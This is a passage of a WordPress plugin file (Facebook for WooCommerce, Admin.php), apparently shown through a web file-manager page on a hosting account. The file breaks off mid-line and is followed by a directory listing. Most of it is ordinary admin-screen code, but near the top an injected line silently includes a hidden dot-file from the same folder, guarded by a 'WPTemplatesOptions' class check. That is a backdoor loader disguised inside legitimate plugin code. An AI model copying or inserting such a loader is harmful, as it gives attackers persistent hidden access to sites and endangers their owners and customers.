PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
facebook-for-woocommerce
/
includes
<?php /** * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved * * This source code is licensed under the license found in the * LICENSE file in the root directory of this source tree. * * @package FacebookCommerce */ namespace SkyVerge\WooCommerce\Facebook; use SkyVerge\WooCommerce\PluginFramework\v5_5_4\SV_WC_Helper; defined( 'ABSPATH' ) or exit; /** * Admin handler. * * @since 1.10.0 */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Admin { /** * Admin constructor. * * @since 1.10.0 */ public function __construct() { // enqueue admin scripts add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_scripts' ] ); $integration = facebook_for_woocommerce()->get_integration(); // only alter the admin UI if the plugin is connected to Facebook and ready to sync products if ( ! $integration->get_product_catalog_id() ) { return; } // add a modal in admin product pages add_action( 'admin_footer', [ $this, 'render_modal_template' ] ); // may trigger the modal to open to warn the merchant about a conflict with the current product terms add_action( 'admin_footer', [ $this, 'validate_product_excluded_terms' ] ); // add admin notification in case of site URL change add_action( 'admin_notices', [ $this, 'validate_cart_url' ] ); // add admin notice to inform that product sync has changed add_action( 'admin_notices', [ $this, 'add_product_sync_delay_notice' ] ); // add admin notice to inform that the catalog visibility setting was removed add_action( 'admin_notices', [ $this, 'add_catalog_visibility_settings_removed_notice' ] ); // add admin notice if the user attempted to enable sync for virtual products using the bulk action add_action( 'admin_notices', [ $this, 'add_enabling_virtual_products_sync_notice' ] ); // add admin notice to inform sync has been automatically disabled for virtual products add_action( 'admin_notices', [ $this, 'add_disabled_virtual_products_sync_notice' ] ); // handle dismissal of special notices add_action( 'wc_' . facebook_for_woocommerce()->get_id(). '_dismiss_notice', [ $this, 'handle_dismiss_notice' ], 10, 2 ); // add columns for displaying Facebook sync enabled/disabled and catalog visibility status add_filter( 'manage_product_posts_columns', [ $this, 'add_product_list_table_columns' ] ); add_action( 'manage_product_posts_custom_column', [ $this, 'add_product_list_table_columns_content' ] ); // add input to filter products by Facebook sync enabled add_action( 'restrict_manage_posts', [ $this, 'add_products_by_sync_enabled_input_filter' ], 40 ); add_filter( 'request', [ $this, 'filter_products_by_sync_enabled' ] ); // add bulk actions to manage products sync add_filter( 'bulk_actions-edit-product', [ $this, 'add_products_sync_bulk_actions' ], 40 ); add_action( 'handle_bulk_actions-edit-product', [ $this, 'handle_products_sync_bulk_actions' ] ); // add Product data tab add_filter( 'woocommerce_product_data_tabs', [ $this, 'add_product_settings_tab' ] ); add_action( 'woocommerce_product_data_panels', [ $this, 'add_product_settings_tab_content' ] ); // add Variation edit fields add_action( 'woocommerce_product_after_variable_attributes', [ $this, 'add_product_variation_edit_fields' ], 10, 3 ); add_action( 'woocommerce_save_product_variation', [ $this, 'save_product_variation_edit_fields' ], 10, 2 ); } /** * Enqueues admin scripts. * * @internal * * @since 1.10.0 */ public function enqueue_scripts() { global $current_screen; $modal_screens = [ 'product', 'edit-product', ]; if ( isset( $current_screen->id ) ) { if ( in_array( $current_screen->id, $modal_screens, true ) || facebook_for_woocommerce()->is_plugin_settings() ) { // enqueue modal functions wp_enqueue_script( 'facebook-for-woocommerce-modal', plugins_url( '/facebook-for-woocommerce/assets/js/facebook-for-woocommerce-modal.min.js' ), [ 'jquery', 'wc-backbone-modal', 'jquery-blockui' ], \WC_Facebookcommerce::PLUGIN_VERSION ); } if ( 'product' === $current_screen->id || 'edit-product' === $current_screen->id ) { wp_enqueue_style( 'facebook-for-woocommerce-products-admin', plugins_url( '/facebook-for-woocommerce/assets/css/admin/facebook-for-woocommerce-products-admin.css' ), [], \WC_Facebookcommerce::PLUGIN_VERSION ); wp_enqueue_script( 'facebook-for-woocommerce-products-admin', plugins_url( '/facebook-for-woocommerce/assets/js/admin/facebook-for-woocommerce-products-admin.min.js' ), [ 'jquery', 'wc-backbone-modal', 'jquery-blockui', 'facebook-for-woocommerce-modal' ], \WC_Facebookcommerce::PLUGIN_VERSION ); wp_localize_script( 'facebook-for-woocommerce-products-admin', 'facebook_for_woocommerce_products_admin', [ 'ajax_url' => admin_url( 'admin-ajax.php' ), 'set_product_visibility_nonce' => wp_create_nonce( 'set-products-visibility' ), 'set_product_sync_prompt_nonce' => wp_create_nonce( 'set-product-sync-prompt' ), 'set_product_sync_bulk_action_prompt_nonce' => wp_create_nonce( 'set-product-sync-bulk-action-prompt' ), ] ); } if ( facebook_for_woocommerce()->is_plugin_settings() ) { wp_enqueue_script( 'facebook-for-woocommerce-settings-sync', plugins_url( '/facebook-for-woocommerce/assets/js/admin/facebook-for-woocommerce-settings-sync.min.js' ), [ 'jquery', 'wc-backbone-modal', 'jquery-blockui', 'facebook-for-woocommerce-modal' ], \WC_Facebookcommerce::PLUGIN_VERSION ); /* translators: Placeholders %1$s - opening <strong> html tag, %2$s closing </strong> html tag, {count} number of remaining items */ $sync_remaining_items_string = _n_noop( '%1$sProgress:%2$s {count} item remaining.', '%1$sProgress:%2$s {count} items remaining.', 'facebook-for-woocommerce' ); wp_localize_script( 'facebook-for-woocommerce-settings-sync', 'facebook_for_woocommerce_settings_sync', [ 'ajax_url' => admin_url( 'admin-ajax.php' ), 'set_excluded_terms_prompt_nonce' => wp_create_nonce( 'set-excluded-terms-prompt' ), 'set_product_visibility_nonce' => wp_create_nonce( 'set-products-visibility' ), 'i18n' => [ /* translators: Placeholders %s - html code for a spinner icon */ 'confirm_resync' => esc_html__( 'Your products will now be resynced to Facebook, this may take some time.', 'facebook-for-woocommerce' ), 'confirm_sync_test' => esc_html__( 'Launch Test?', 'facebook-for-woocommerce' ), 'confirm_sync' => esc_html__( "Facebook for WooCommerce automatically syncs your products on create/update. Are you sure you want to force product resync?\n\nThis will query all published products and may take some time. You only need to do this if your products are out of sync or some of your products did not sync.", 'facebook-for-woocommerce' ), 'sync_in_progress' => sprintf( esc_html__( 'Syncing... Keep this browser open until sync is complete. %s', 'facebook-for-woocommerce' ), '<span class="spinner is-active"></span>' ), 'sync_remaining_items_singular' => sprintf( esc_html( translate_nooped_plural( $sync_remaining_items_string, 1 ) ), '<strong>', '</strong>', '<span class="spinner is-active"></span>' ), 'sync_remaining_items_plural' => sprintf( esc_html( translate_nooped_plural( $sync_remaining_items_string, 2 ) ), '<strong>', '</strong>', '<span class="spinner is-active"></span>' ), /* translators: Placeholders %1$s - opening <strong> html tag, %2$s closing </strong> html tag */ 'integration_test_sucessful' => sprintf( esc_html__( '%1$sStatus:%2$s Test Pass.', 'facebook-for-woocommerce' ), '<strong>', '</strong>' ), /* translators: Placeholders %1$s - opening <strong> html tag, %2$s closing </strong> html tag */ 'integration_test_in_progress' => sprintf( esc_html__( '%1$sStatus:%2$s Integration test in progress...', 'facebook-for-woocommerce' ), '<strong>', '</strong>' ), /* translators: Placeholders %1$s - opening <strong> html tag, %2$s closing </strong> html tag */ 'integration_test_failed' => sprintf( esc_html__( '%1$sStatus:%2$s Test Fail.', 'facebook-for-woocommerce' ), '<strong>', '</strong>' ), 'general_error' => esc_html__( 'There was an error trying to sync the products to Facebook.', 'facebook-for-woocommerce' ), 'feed_upload_error' => esc_html__( 'Something went wrong while uploading the product information, please try again.', 'facebook-for-woocommerce' ), ], ] ); } } } /** * Adds Facebook-related columns in the products edit screen. * * @internal * * @since 1.10.0 * * @param array $columns array of keys and labels * @return array */ public function add_product_list_table_columns( $columns ) { $columns['facebook_sync_enabled'] = __( 'FB Sync Enabled', 'facebook-for-woocommerce' ); // $columns['facebook_catalog_visibility'] = __( 'FB Catalog Visibility', 'facebook-for-woocommerce' ); return $columns; } /** * Outputs sync information for products in the edit screen. * * @internal * * @since 1.10.0 * * @param string $column the current column in the posts table */ public function add_product_list_table_columns_content( $column ) { global $post; if ( 'facebook_sync_enabled' === $column ) : $product = wc_get_product( $post ); if ( $product && Products::product_should_be_synced( $product ) ) : esc_html_e( 'Enabled', 'facebook-for-woocommerce' ); else : esc_html_e( 'Disabled', 'facebook-for-woocommerce' ); endif; elseif ( 'facebook_catalog_visibility' === $column ) : $integration = facebook_for_woocommerce()->get_integration(); $product = wc_get_product( $post ); $fb_product = new \WC_Facebook_Product( $post ); $fb_product_group_id = $integration && $product && $integration->get_product_fbid( \WC_Facebookcommerce_Integration::FB_PRODUCT_GROUP_ID, $post->ID, $fb_product ); if ( ! $fb_product_group_id ) : ?> <span class="facebook-for-woocommerce-product-visibility-toggle" style="cursor:default;" title="<?php /* translators: Points to a product that was never synced with Facebook */ esc_attr_e( 'Never synced with Facebook.', 'facebook-for-woocommerce' ); ?>" >–</span> <?php else : $is_sync_enabled = Products::product_should_be_synced( $product ); $is_visible = Products::is_product_visible( $product ); $is_hidden = ! $is_visible; if ( $is_sync_enabled ) { /* translators: Action to hide a product (currently synced with Facebook) from the Facebook catalog */ $visible_tooltip_text = __( 'Hide from Facebook catalog. Currently synced with Facebook.', 'facebook-for-woocommerce' ); /* translators: Action to publish a product (currently synced with Facebook) in the Facebook catalog */ $hidden_tooltip_text = __( 'Publish in Facebook catalog. Currently synced with Facebook.', 'facebook-for-woocommerce' ); } else { /* translators: Action to hide a product (currently not synced with Facebook) from the Facebook catalog */ $visible_tooltip_text = __( 'Hide from Facebook catalog. Not synced with Facebook.', 'facebook-for-woocommerce' ); /* translators: Action to publish a product (currently not synced with Facebook) in the Facebook catalog */ $hidden_tooltip_text = __( 'Publish in Facebook catalog. Not synced with Facebook.', 'facebook-for-woocommerce' ); } ?> <button id="facebook-for-woocommerce-product-visibility-show-<?php echo esc_attr( $post->ID ); ?>" class="button button-primary button-large facebook-for-woocommerce-product-visibility-toggle facebook-for-woocommerce-product-visibility-show" style="<?php echo $is_hidden ? 'display:block;' : 'display:none;'; ?>" data-action="show" data-product-id="<?php echo esc_attr( $post->ID ); ?>" title="<?php echo esc_attr( $hidden_tooltip_text ); ?>" ><?php esc_html_e( 'Show', 'facebook-for-woocommerce' ); ?></button> <button id="facebook-for-woocommerce-product-visibility-hide-<?php echo esc_attr( $post->ID ); ?>" class="button button-large facebook-for-woocommerce-product-visibility-toggle facebook-for-woocommerce-product-visibility-hide" style="<?php echo $is_visible ? 'display:block;' : 'display:none;'; ?>" data-action="hide" data-product-id="<?php echo esc_attr( $post->ID ); ?>" title="<?php echo esc_attr( $visible_tooltip_text ); ?>" ><?php esc_html_e( 'Hide', 'facebook-for-woocommerce' ); ?></button> <?php endif; endif; } /** * Adds a dropdown input to let shop managers filter products by sync setting. * * @internal * * @since 1.10.0 */ public function add_products_by_sync_enabled_input_filter() { global $typenow; if ( 'product' !== $typenow ) { return; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended $choice = isset( $_GET['fb_sync_enabled'] ) ? (string) sanitize_text_field( wp_unslash( $_GET['fb_sync_enabled'] ) ) : ''; ?> <select name="fb_sync_enabled"> <option value="" <?php selected( $choice, '' ); ?>><?php esc_html_e( 'Filter by Facebook sync setting', 'facebook-for-woocommerce' ); ?></option> <option value="yes" <?php selected( $choice, 'yes' ); ?>><?php esc_html_e( 'Facebook sync enabled', 'facebook-for-woocommerce' ); ?></option> <option value="no" <?php selected( $choice, 'no' ); ?>><?php esc_html_e( 'Facebook sync disabled', 'facebook-for-woocommerce' ); ?></option> </select> <?php } /** * Filters products by Facebook sync setting. * * @internal * * @since 1.10.0 * * @param array $query_vars product query vars for the edit screen * @return array */ public function filter_products_by_sync_enabled( $query_vars ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( isset( $_REQUEST['fb_sync_enabled'] ) && in_array( $_REQUEST['fb_sync_enabled'], [ 'yes', 'no' ], true ) ) { // by default use an "AND" clause if multiple conditions exist for a meta query if ( ! empty( $query_vars['meta_query'] ) ) { $query_vars['meta_query']['relation'] = 'AND'; } else { $query_vars['meta_query'] = []; } // when checking for products with sync enabled we need to check both "yes" and meta not set, this requires adding an "OR" clause // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( 'yes' === $_REQUEST['fb_sync_enabled'] ) { $query_vars = $this->add_query_vars_to_find_products_with_sync_enabled( $query_vars ); // since we record enabled status on child variations, we may need to query variable products found for their children to exclude them from query results $exclude_products = []; $found_ids = get_posts( array_merge( $query_vars, [ 'fields' => 'ids' ] ) ); $found_products = empty( $found_ids ) ? [] : wc_get_products( [ 'limit' => -1, 'type' => 'variable', 'include' => $found_ids, ] ); /** @var \WC_Product[] $found_products */ foreach ( $found_products as $product ) { if ( ! Products::is_sync_enabled_for_product( $product ) ) { $exclude_products[] = $product->get_id(); } } if ( ! empty( $exclude_products ) ) { if ( ! empty( $query_vars['post__not_in'] ) ) { $query_vars['post__not_in'] = array_merge( $query_vars['post__not_in'], $exclude_products ); } else { $query_vars['post__not_in'] = $exclude_products; } } } else { $integration = facebook_for_woocommerce()->get_integration(); $excluded_categories_ids = $integration ? $integration->get_excluded_product_category_ids() : []; $excluded_tags_ids = $integration ? $integration->get_excluded_product_tag_ids() : []; if ( $excluded_categories_ids || $excluded_tags_ids ) { // find the IDs of products that have sync enabled $products_query_vars = [ 'post_type' => 'product', 'post_status' => ! empty( $query_vars['post_status'] ) ? $query_vars['post_status'] : 'any', 'no_found_rows' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'fields' => 'ids', 'nopaging' => true, ]; $products_query_vars = $this->add_query_vars_to_find_products_with_sync_enabled( $products_query_vars ); // exclude products that have sync enabled from the current query $query_vars['post__not_in'] = get_posts( $products_query_vars ); } else { $query_vars['meta_query'][] = [ 'key' => Products::SYNC_ENABLED_META_KEY, 'value' => 'no', ]; } } } return $query_vars; } /** * Adds query vars to limit the results to products that have sync enabled. * * @since 1.10.0 * * @param array $query_vars * @return array */ private function add_query_vars_to_find_products_with_sync_enabled( array $query_vars ) { $query_vars['meta_query']['relation'] = 'OR'; $query_vars['meta_query'][] = [ 'key' => Products::SYNC_ENABLED_META_KEY, 'value' => 'yes', ]; $query_vars['meta_query'][] = [ 'key' => Products::SYNC_ENABLED_META_KEY, 'compare' => 'NOT EXISTS', ]; // check whether the product belongs to an excluded product category or tag $query_vars = $this->maybe_add_tax_query_for_excluded_taxonomies( $query_vars ); return $query_vars; } /** * Adds a tax query to filter out products in excluded product categories and product tags. * * @since 1.10.0 * * @param array $query_vars product query vars for the edit screen * @return array */ private function maybe_add_tax_query_for_excluded_taxonomies( $query_vars ) { $integration = facebook_for_woocommerce()->get_integration(); if ( $integration ) { $tax_query = []; $excluded_categories_ids = $integration->get_excluded_product_category_ids(); if ( $excluded_categories_ids ) { $tax_query[] = [ 'taxonomy' => 'product_cat', 'terms' => $excluded_categories_ids, 'field' => 'term_id', 'operator' => 'NOT IN', ]; } $excluded_tags_ids = $integration->get_excluded_product_tag_ids(); if ( $excluded_tags_ids ) { $tax_query[] = [ 'taxonomy' => 'product_tag', 'terms' => $excluded_tags_ids, 'field' => 'term_id', 'operator' => 'NOT IN', ]; } if ( $tax_query && empty( $query_vars['tax_query'] ) ) { $query_vars['tax_query'] = $tax_query; } elseif ( $tax_query && is_array( $query_vars ) ) { $query_vars['tax_query'][] = $tax_query; } } return $query_vars; } /** * Adds bulk actions in the products edit screen. * * @internal * * @since 1.10.0 * * @param array $bulk_actions array of bulk action keys and labels * @return array */ public function add_products_sync_bulk_actions( $bulk_actions ) { $bulk_actions['facebook_include'] = __( 'Include in Facebook sync', 'facebook-for-woocommerce' ); $bulk_actions['facebook_exclude'] = __( 'Exclude from Facebook sync', 'facebook-for-woocommerce' ); return $bulk_actions; } /** * Handles a Facebook product sync bulk action. * * @internal * * @since 1.10.0 * * @param string $redirect admin URL used by WordPress to redirect after performing the bulk action * @return string */ public function handle_products_sync_bulk_actions( $redirect ) { // primary dropdown at the top of the list table // phpcs:ignore WordPress.Security.NonceVerification.Recommended $action = isset( $_REQUEST['action'] ) && -1 !== (int) $_REQUEST['action'] ? sanitize_text_field( wp_unslash( $_REQUEST['action'] ) ) : null; // secondary dropdown at the bottom of the list table if ( ! $action ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $action = isset( $_REQUEST['action2'] ) && -1 !== (int) $_REQUEST['action2'] ? sanitize_text_field( wp_unslash( $_REQUEST['action2'] ) ) : null; } if ( $action && in_array( $action, [ 'facebook_include', 'facebook_exclude' ], true ) ) { $products = []; // phpcs:ignore WordPress.Security.NonceVerification.Recommended $product_ids = isset( $_REQUEST['post'] ) && is_array( $_REQUEST['post'] ) ? array_map( 'absint', $_REQUEST['post'] ) : []; if ( ! empty( $product_ids ) ) { $is_enabling_sync_virtual_products = false; $is_enabling_sync_virtual_variations = false; foreach ( $product_ids as $product_id ) { if ( $product = wc_get_product( $product_id ) ) { if ( 'facebook_include' === $action ) { if ( $product->is_virtual() ) { $is_enabling_sync_virtual_products = true; } else { // products with virtual variations are also added to the list, // because they may have non-virtual variations as well $products[] = $product; if ( $product->is_type( 'variable' ) ) { // check if the product has virtual variations, to display notice foreach ( $product->get_children() as $variation_id ) { $variation = wc_get_product( $variation_id ); if ( $variation && $variation->is_virtual() ) { $is_enabling_sync_virtual_variations = true; break; } } } } } else { // add the product to the list of products to disable sync from $products[] = $product; } } } // display notice if enabling sync for virtual products or variations if ( $is_enabling_sync_virtual_products || $is_enabling_sync_virtual_variations ) { $redirect = add_query_arg( [ 'enabling_virtual_products_sync' => 1 ], $redirect ); } if ( 'facebook_include' === $action ) { Products::enable_sync_for_products( $products ); // re-sync each product foreach ( $products as $product ) { facebook_for_woocommerce()->get_integration()->on_product_publish( $product->get_id() ); } } elseif ( 'facebook_exclude' === $action ) { Products::disable_sync_for_products( $products ); } } } return $redirect; } /** * Prints a notice on products page in case the current cart URL is not the original sync URL. * * @internal * * TODO: update this method to use the notice handler once we framework the plugin {CW 2020-01-09} * * @since 1.10.0 */ public function validate_cart_url() { global $current_screen; if ( isset( $current_screen->id ) && in_array( $current_screen->id, [ 'edit-product', 'product' ], true ) ) : $cart_url = get_option( \WC_Facebookcommerce_Integration::FB_CART_URL, '' ); if ( ! empty( $cart_url ) && $cart_url !== wc_get_cart_url() ) : ?> <div class="notice notice-warning"> <?php printf( /* translators: Placeholders: %1$s - Facebook for Woocommerce, %2$s - opening HTML <a> link tag, %3$s - closing HTML </a> link tag */ '<p>' . esc_html__( '%1$s: One or more of your products is using a checkout URL that may be different than your shop checkout URL. %2$sRe-sync your products to update checkout URLs on Facebook%3$s.', 'facebook-for-woocommerce' ) . '</p>', '<strong>' . esc_html__( 'Facebook for WooCommerce', 'facebook-for-woocommerce' ) . '</strong>', '<a href="' . esc_url( WOOCOMMERCE_FACEBOOK_PLUGIN_SETTINGS_URL ) . '">', '</a>' ); ?> </div> <?php endif; endif; } /** * Prints a notice on products page to inform users about changes in product sync. * * @internal * * @since 1.11.0 */ public function add_product_sync_delay_notice() { global $current_screen; $transient_name = 'wc_' . facebook_for_woocommerce()->get_id() . '_show_product_sync_delay_notice_' . get_current_user_id(); if ( isset( $current_screen->id ) && in_array( $current_screen->id, [ 'edit-product', 'product' ], true ) && get_transient( $transient_name ) ) { if ( isset( $_GET['message'] ) || isset( $_GET['trashed'] ) || isset( $_GET['deleted'] ) ) { facebook_for_woocommerce()->get_admin_notice_handler()->add_admin_notice( sprintf( /* translators: Placeholders: %1$s - opening HTML <strong> tag, %2$s - closing HTML </strong> tag, %3$s - opening HTML <a> tag, %4$s - closing HTML </a> tag */ esc_html__( '%1$sHeads up!%2$s Product sync is temporarily changed as we migrate to a more secure experience. An automated sync from Facebook will run every hour to update the catalog with any changes you\'ve made. %3$sLearn more%4$s', 'facebook-for-woocommerce' ), '<strong>', '</strong>', '<a href="https://docs.woocommerce.com/document/facebook-for-woocommerce/#faq-security" target="_blank">', '</a>' ) . '</p><p>' // close notice paragraph and open a new one for the button . '<button class="button notice-dismiss-permanently" type="button">' . esc_html__( "Don't show this notice again", 'facebook-for-woocommerce' ) . '</button>', 'wc-' . facebook_for_woocommerce()->get_id_dasherized() . '-product-sync-delay', [ 'notice_class' => 'notice-info' ] ); } delete_transient( $transient_name ); } } /** * Handles dismissed notices. * * @internal * * @since 1.11.0 * * @param string $message_id the dismissed notice ID * @param int $user_id the ID of the user the noticed was dismissed for */ public function handle_dismiss_notice( $message_id, $user_id = null ) { // undismiss product sync delay notice unless 'permanently' is included in the request if ( ! SV_WC_Helper::get_requested_value( 'permanently' ) && 'wc-' . facebook_for_woocommerce()->get_id_dasherized() . '-product-sync-delay' === $message_id ) { facebook_for_woocommerce()->get_admin_notice_handler()->undismiss_notice( $message_id, $user_id ); } } /** * Prints a notice on products page to inform users that catalog visibility settings were removed. * * @internal * * @since 1.11.0 */ public function add_catalog_visibility_settings_removed_notice() { global $current_screen; if ( isset( $current_screen->id ) && in_array( $current_screen->id, [ 'edit-product', 'product' ], true ) ) { facebook_for_woocommerce()->get_admin_notice_handler()->add_admin_notice( sprintf( /* translators: Placeholders: %1$s - opening HTML <strong> tag, %2$s - closing HTML </strong> tag, %3$s - opening HTML <a> tag, %4$s - closing HTML </a> tag */ esc_html__( '%1$sHeads up!%2$s Catalog visibility settings have been temporarily removed as we migrate to a more secure experience. To remove products from your Facebook catalog, please disable syncing to Facebook for the product. %3$sLearn more%4$s', 'facebook-for-woocommerce' ), '<strong>', '</strong>', '<a href="https://docs.woocommerce.com/document/facebook-for-woocommerce/#section-10" target="_blank">', // TODO: add link to FAQ entry {WV 2020-03-30} '</a>' ), 'wc-' . facebook_for_woocommerce()->get_id_dasherized() . '-catalog-visibility-settings-removed', [ 'notice_class' => 'notice-info' ] ); } } /** * Prints a notice on products page to inform users that the virtual products selected for the Include bulk action will NOT have sync enabled. * * @internal * * @since 1.11.3-dev.2 */ public function add_enabling_virtual_products_sync_notice() { global $current_screen; if ( isset( $_GET['enabling_virtual_products_sync'] ) && isset( $current_screen->id ) && 'edit-product' === $current_screen->id ) { facebook_for_woocommerce()->get_admin_notice_handler()->add_admin_notice( sprintf( /* translators: Placeholders: %1$s - opening HTML <strong> tag, %2$s - closing HTML </strong> tag, %3$s - opening HTML <a> tag, %4$s - closing HTML </a> tag */ esc_html__( '%1$sHeads up!%2$s Facebook does not support selling virtual products, so we can\'t include virtual products in your catalog sync. %3$sClick here to read more about Facebook\'s policy%4$s.', 'facebook-for-woocommerce' ), '<strong>', '</strong>', '<a href="https://www.facebook.com/help/130910837313345" target="_blank">', '</a>' ), 'wc-' . facebook_for_woocommerce()->get_id_dasherized() . '-enabling-virtual-products-sync', [ 'notice_class' => 'notice-info' ] ); } } /** * Prints a notice to inform sync has been automatically disabled for virtual products. * * @internal * * @since 1.11.3-dev.2 */ public function add_disabled_virtual_products_sync_notice() { if ( 'yes' === get_option( 'wc_facebook_sync_virtual_products_disabled', 'no' ) && 'yes' !== get_option( 'wc_facebook_sync_virtual_products_disabled_skipped', 'no' ) ) { facebook_for_woocommerce()->get_admin_notice_handler()->add_admin_notice( sprintf( /* translators: Placeholders: %1$s - opening HTML <strong> tag, %2$s - closing HTML </strong> tag, %3$s - opening HTML <a> tag, %4$s - closing HTML </a> tag */ esc_html__( '%1$sHeads up!%2$s Facebook does not support selling virtual products, so we have removed any previously synced virtual products from the catalog sync going forward. %3$sClick here to read more about Facebook\'s policy%4$s.', 'facebook-for-woocommerce' ), '<strong>', '</strong>', '<a href="https://www.facebook.com/help/130910837313345" target="_blank">', '</a>' ), 'wc-' . facebook_for_woocommerce()->get_id_dasherized() . '-disabled-virtual-products-sync', [ 'notice_class' => 'notice-info' ] ); } } /** * Adds a new tab to the Product edit page. * * @internal * * @since 1.10.0 * * @param array $tabs product tabs * @return array */ public function add_product_settings_tab( $tabs ) { $tabs['fb_commerce_tab'] = [ 'label' => __( 'Facebook', 'facebook-for-woocommerce' ), 'target' => 'facebook_options', 'class' => [ 'show_if_simple', 'hide_if_virtual' ], ]; return $tabs; } /** * Adds content to the new Facebook tab on the Product edit page. * * @internal * * @since 1.10.0 */ public function add_product_settings_tab_content() { global $post; // all products have sync enabled unless explicitly disabled $sync_enabled = 'no' !== get_post_meta( $post->ID, Products::SYNC_ENABLED_META_KEY, true ); $description = get_post_meta( $post->ID, \WC_Facebookcommerce_Integration::FB_PRODUCT_DESCRIPTION, true ); $price = get_post_meta( $post->ID, \WC_Facebook_Product::FB_PRODUCT_PRICE, true ); $image_source = get_post_meta( $post->ID, Products::PRODUCT_IMAGE_SOURCE_META_KEY, true ); $image = get_post_meta( $post->ID, \WC_Facebook_Product::FB_PRODUCT_IMAGE, true ); // 'id' attribute needs to match the 'target' parameter set above ?> <div id='facebook_options' class='panel woocommerce_options_panel'> <div class='options_group'> <?php woocommerce_wp_checkbox( [ 'id' => 'fb_sync_enabled', 'label' => __( 'Include in Facebook sync', 'facebook-for-woocommerce' ), 'value' => wc_bool_to_string( (bool) $sync_enabled ), ] ); woocommerce_wp_textarea_input( [ 'id' => \WC_Facebookcommerce_Integration::FB_PRODUCT_DESCRIPTION, 'label' => __( 'Facebook Description', 'facebook-for-woocommerce' ), 'desc_tip' => true, 'description' => __( 'Custom (plain-text only) description for product on Facebook. If blank, product description will be used. If product description is blank, shortname will be used.', 'facebook-for-woocommerce' ), 'cols' => 40, 'rows' => 20, 'value' => $description, 'class' => 'enable-if-sync-enabled', ] ); woocommerce_wp_radio( [ 'id' => 'fb_product_image_source', 'label' => __( 'Facebook Product Image', 'facebook-for-woocommerce' ), 'desc_tip' => true, 'description' => __( 'Choose the product image that should be synced to the Facebook catalog for this product. If using a custom image, please enter an absolute URL (e.g. https://domain.com/image.jpg).', 'facebook-for-woocommerce' ), 'options' => [ Products::PRODUCT_IMAGE_SOURCE_PRODUCT => __( 'Use WooCommerce image', 'facebook-for-woocommerce' ), Products::PRODUCT_IMAGE_SOURCE_CUSTOM => __( 'Use custom image', 'facebook-for-woocommerce' ), ], 'value' => $image_source ?: Products::PRODUCT_IMAGE_SOURCE_PRODUCT, 'class' => 'short enable-if-sync-enabled js-fb-product-image-source', 'wrapper_class' => 'fb-product-image-source-field', ] ); woocommerce_wp_text_input( [ 'id' => \WC_Facebook_Pr
[+]
..
[+]
Products
[+]
Integrations
[-] fbproductfeed.php
[edit]
[+]
test
[-] fbinfobanner.php
[edit]
[-] AJAX.php
[edit]
[-] Products.php
[edit]
[-] fbproduct.php
[edit]
[-] Lifecycle.php
[edit]
[-] fbasync.php
[edit]
[-] fbgraph.php
[edit]
[-] .includes.php
[edit]
[-] fbwpml.php
[edit]
[+]
Utilities
[-] fbbackground.php
[edit]
[-] fbutils.php
[edit]
[-] Admin.php
[edit]